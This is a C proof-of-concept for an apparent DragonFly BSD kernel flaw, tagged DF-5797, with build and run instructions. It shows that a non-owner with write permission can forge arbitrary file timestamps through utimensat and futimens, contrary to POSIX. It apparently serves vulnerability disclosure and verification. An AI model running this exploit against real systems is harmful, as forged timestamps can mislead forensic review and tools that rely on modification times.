DF-5797 / utimes_forge.c
/* * DF-5797 PoC: non-owner with write permission can set ARBITRARY * atime/mtime via utimensat(2)/lutimes(2)/futimens(2). * * POSIX.1-2017 (utimensat): "Only a process with the effective user ID * equal to the user ID of the file ... or with appropriate privileges * may change the timestamps to arbitrary values" -- a process with only * write permission is restricted to UTIME_NOW/current time. * * DragonFly kern_utimensat() (sys/kern/vfs_syscalls.c) gates the whole * thing on naccess(NLC_OWN|NLC_WRITE), which means owner OR write-perm, * and never checks whether user-supplied timestamps are arbitrary. * * Build: cc -O -o utimes_forge utimes_forge.c * Run (as unprivileged user): ./utimes_forge /tmp/df5797_target */ #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <time.h> #include <unistd.h> static void show(const char *tag, const char *path) { struct stat st; if (stat(path, &st) < 0) { perror("stat"); return; } printf("%-28s atime=%lld mtime=%lld\n", tag, (long long)st.st_atime, (long long)st.st_mtime); } int main(int argc, char **argv) { const char *path = argc > 1 ? argv[1] : "/tmp/df5797_target"; struct timespec ts[2]; struct stat st; uid_t me = getuid(); int fd, rc; if (stat(path, &st) < 0) { perror("stat"); exit(1); } printf("uid=%d file owner=%u mode=%o\n", me, st.st_uid, st.st_mode); show("before", path); /* 1. utimensat with ARBITRARY times (epoch + 66666 sec) */ ts[0].tv_sec = 0; ts[0].tv_nsec = 0; ts[1].tv_sec = 66666; ts[1].tv_nsec = 123456789; rc = utimensat(AT_FDCWD, path, ts, 0); printf("utimensat(arbitrary) -> %s (errno=%d %s)\n", rc ? "FAIL" : "OK", errno, rc ? strerror(errno) : "-"); if (rc == 0) show(" after utimensat", path); errno = 0; /* 2. lutimes family via utimensat AT_SYMLINK_NOFOLLOW on the file */ ts[0].tv_sec = 1; ts[0].tv_nsec = UTIME_NOW; ts[1].tv_sec = 2; ts[1].tv_nsec = 0; rc = utimensat(AT_FDCWD, path, ts, AT_SYMLINK_NOFOLLOW); printf("utimensat(nofollow,mixed)-> %s (errno=%d %s)\n", rc ? "FAIL" : "OK", errno, rc ? strerror(errno) : "-"); /* 3. futimens on an O_RDWR descriptor (kern_futimens path) */ fd = open(path, O_RDWR); if (fd < 0) { printf("open(O_RDWR) -> %s\n", strerror(errno)); } else { ts[0].tv_sec = 12345678; ts[0].tv_nsec = 0; ts[1].tv_sec = 12345678; ts[1].tv_nsec = 0; rc = futimens(fd, ts); printf("futimens(arbitrary) -> %s (errno=%d %s)\n", rc ? "FAIL" : "OK", errno, rc ? strerror(errno) : "-"); close(fd); if (rc == 0) show(" after futimens", path); } show("final", path); /* * SUCCESS CRITERION (vulnerability present): * utimensat/futimens return 0 and st_mtime == 12345678 / 66666, * i.e. arbitrary timestamps accepted from a NON-OWNER whose only * privilege is write permission on the file. * POSIX-correct behaviour (FreeBSD, Linux): * EPERM for arbitrary times (only both-UTIME_NOW would be legal). */ return 0; } |